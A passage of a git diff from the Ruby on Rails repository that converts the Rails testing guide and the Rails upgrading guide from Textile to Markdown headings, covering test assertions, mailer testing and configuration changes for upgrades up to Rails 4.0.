After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
@@ -496,7 +501,7 @@ cookies["are_good_for_u"] cookies[:are_good_for_u]
assigns["something"] assigns(:something)
```
-h4. Instance Variables Available
+### Instance Variables Available
You also have access to three instance variables in your functional tests:
@@ -504,7 +509,7 @@ You also have access to three instance variables in your functional tests:
* +@request+ - The request
* +@response+ - The response
-h4. Testing Templates and Layouts
+### Testing Templates and Layouts
If you want to make sure that the response rendered the correct template and layout, you can use the +assert_template+
method:
@@ -542,7 +547,7 @@ end
is the correct way to assert for the layout when the view renders a partial with name +_form+. Omitting the +:partial+ key in your +assert_template+ call will complain.
-h4. A Fuller Functional Test Example
+### A Fuller Functional Test Example
Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
@@ -556,7 +561,7 @@ test "should create post" do
end
```
-h4. Testing Views
+### Testing Views
Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
@@ -598,7 +603,7 @@ end
The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
-h5. Additional View-Based Assertions
+#### Additional View-Based Assertions
There are more assertions that are primarily used in testing views:
@@ -615,7 +620,8 @@ assert_select_email do
end
```
-h3. Integration Testing
+Integration Testing
+-------------------
Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
@@ -644,7 +650,7 @@ end
Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-h4. Helpers Available for Integration Tests
+### Helpers Available for Integration Tests
In addition to the standard testing helpers, there are some additional helpers available to integration tests:
@@ -662,7 +668,7 @@ In addition to the standard testing helpers, there are some additional helpers a
|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
|+open_session+ |Opens a new session instance.|
-h4. Integration Testing Examples
+### Integration Testing Examples
A simple integration test that exercises multiple controllers:
@@ -742,7 +748,8 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
end
```
-h3. Rake Tasks for Running your Tests
+Rake Tasks for Running your Tests
+---------------------------------
You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
@@ -757,14 +764,16 @@ You don't need to set up and run your tests by hand on a test-by-test basis. Rai
|+rake test:units+ |Runs all the unit tests from +test/unit+|
-h3. Brief Note About +Test::Unit+
+Brief Note About +Test::Unit+
+-----------------------------
Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing
us to use all of the basic assertions in our tests.
NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
-h3. Setup and Teardown
+Setup and Teardown
+------------------
If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
@@ -851,7 +860,8 @@ class PostsControllerTest < ActionController::TestCase
end
```
-h3. Testing Routes
+Testing Routes
+--------------
Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
@@ -861,11 +871,12 @@ test "should route to post" do
end
```
-h3. Testing Your Mailers
+Testing Your Mailers
+--------------------
Testing mailer classes requires some specific tools to do a thorough job.
-h4. Keeping the Postman in Check
+### Keeping the Postman in Check
Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
@@ -875,21 +886,21 @@ The goals of testing your mailer classes are to ensure that:
* the email content is correct (subject, sender, body, etc)
* the right emails are being sent at the right times
-h5. From All Sides
+#### From All Sides
There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-h4. Unit Testing
+### Unit Testing
In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-h5. Revenge of the Fixtures
+#### Revenge of the Fixtures
For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-h5. The Basic Test Case
+#### The Basic Test Case
Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
@@ -927,7 +938,7 @@ This is the right time to understand a little more about writing tests for your
However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-h4. Functional Testing
+### Functional Testing
Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
@@ -948,7 +959,8 @@ class UserControllerTest < ActionController::TestCase
end
```
-h3. Other Testing Approaches
+Other Testing Approaches
+------------------------
The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index 0f9a5f2f5a..44aca93718 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -1,18 +1,20 @@
-h2. A Guide for Upgrading Ruby on Rails
+A Guide for Upgrading Ruby on Rails
+===================================
This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
-endprologue.
+--------------------------------------------------------------------------------
-h3. General Advice
+General Advice
+--------------
Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
-h4(#general_testing). Test Coverage
+### Test Coverage
The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
-h4(#general_ruby). Ruby Versions
+### Ruby Versions
Rails generally stays close to the latest released Ruby version when it's released:
@@ -22,7 +24,8 @@ Rails generally stays close to the latest released Ruby version when it's releas
TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
-h3. Upgrading from Rails 3.2 to Rails 4.0
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
NOTE: This section is a work in progress.
@@ -30,15 +33,15 @@ If your application is currently on any version of Rails older than 3.2.x, you s
The following changes are meant for upgrading your application to Rails 4.0.
-h4(#plugins4_0). vendor/plugins
+### vendor/plugins
Rails 4.0 no longer supports loading plugins from <tt>vendor/plugins</tt>. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
-h4(#identity_map4_0). Identity Map
+### Identity Map
Rails 4.0 has removed the identity map from Active Record, due to "some inconsistencies with associations":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: <tt>config.active_record.identity_map</tt>.
-h4(#active_record4_0). Active Record
+### Active Record
The <tt>delete</tt> method in collection associations can now receive <tt>Fixnum</tt> or <tt>String</tt> arguments as record ids, besides records, pretty much like the <tt>destroy</tt> method does. Previously it raised <tt>ActiveRecord::AssociationTypeMismatch</tt> for such arguments. From Rails 4.0 on <tt>delete</tt> automatically tries to find the records matching the given ids before deleting them.
@@ -46,11 +49,11 @@ Rails 4.0 has changed how orders get stacked in +ActiveRecord::Relation+. In pre
Rails 4.0 has changed <tt>serialized_attributes</tt> and <tt>&#95;attr_readonly</tt> to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. <tt>self.serialized_attributes</tt> to <tt>self.class.serialized_attributes</tt>.
-h4(#active_model4_0). Active Model
+### Active Model
Rails 4.0 has changed how errors attach with the <tt>ActiveModel::Validations::ConfirmationValidator</tt>. Now when confirmation validations fail the error will be attached to <tt>:#{attribute}_confirmation</tt> instead of <tt>attribute</tt>.
-h4(#action_pack4_0). Action Pack
+### Action Pack
Rails 4.0 changed how <tt>assert_generates</tt>, <tt>assert_recognizes</tt>, and <tt>assert_routing</tt> work. Now all these assertions raise <tt>Assertion</tt> instead of <tt>ActionController::RoutingError</tt>.
@@ -66,21 +69,22 @@ becomes
get 'こんにちは', :controller => 'welcome', :action => 'index'
</ruby>
-h4(#active_support4_0). Active Support
+### Active Support
Rails 4.0 Removed the <tt>j</tt> alias for <tt>ERB::Util#json_escape</tt> since <tt>j</tt> is already used for <tt>ActionView::Helpers::JavaScriptHelper#escape_javascript</tt>.
-h4(#helpers_order). Helpers Loading Order
+### Helpers Loading Order
The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use <tt>helpers_path</tt> parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use <tt>config.railties_order=</tt> method.
-h3. Upgrading from Rails 3.1 to Rails 3.2
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails.
-h4(#gemfile3_2). Gemfile
+### Gemfile
Make the following changes to your +Gemfile+.
@@ -94,7 +98,7 @@ group :assets do
end
```
-h4(#config_dev3_2). config/environments/development.rb
+### config/environments/development.rb
There are a couple of new configuration settings that you should add to your development environment:
@@ -107,7 +111,7 @@ config.active_record.mass_assignment_sanitizer = :strict
config.active_record.auto_explain_threshold_in_seconds = 0.5
```
-h4(#config_test3_2). config/environments/test.rb
+### config/environments/test.rb
The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be added to <tt>config/environments/test.rb</tt>:
@@ -116,17 +120,18 @@ The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be a
config.active_record.mass_assignment_sanitizer = :strict
```
-h4(#plugins3_2). vendor/plugins
+### vendor/plugins
Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
-h3. Upgrading from Rails 3.0 to Rails 3.1
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
-h4(#gemfile3_1). Gemfile
+### Gemfile
Make the following changes to your +Gemfile+.
@@ -145,7 +150,7 @@ end
gem 'jquery-rails'
```
-h4(#config_app3_1). config/application.rb
+### config/application.rb
The asset pipeline requires the following additions:
@@ -161,7 +166,7 @@ If your application is using an "/assets" route for a resource you may want chan
config.assets.prefix = '/asset-files'
```
-h4(#config_dev3_1). config/environments/development.rb
+### config/environments/development.rb
Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
@@ -175,7 +180,7 @@ config.assets.compress = false
config.assets.debug = true
```
-h4(#config_prod3_1). config/environments/production.rb
+### config/environments/production.rb
Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
@@ -199,7 +204,7 @@ config.assets.digest = true
# config.force_ssl = true
```
-h4(#config_test3_1). config/environments/test.rb
+### config/environments/test.rb
You can help test performance with these additions to your test environment:
@@ -209,7 +214,7 @@ config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
```
-h4(#config_wp3_1). config/initializers/wrap_parameters.rb
+### config/initializers/wrap_parameters.rb
Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.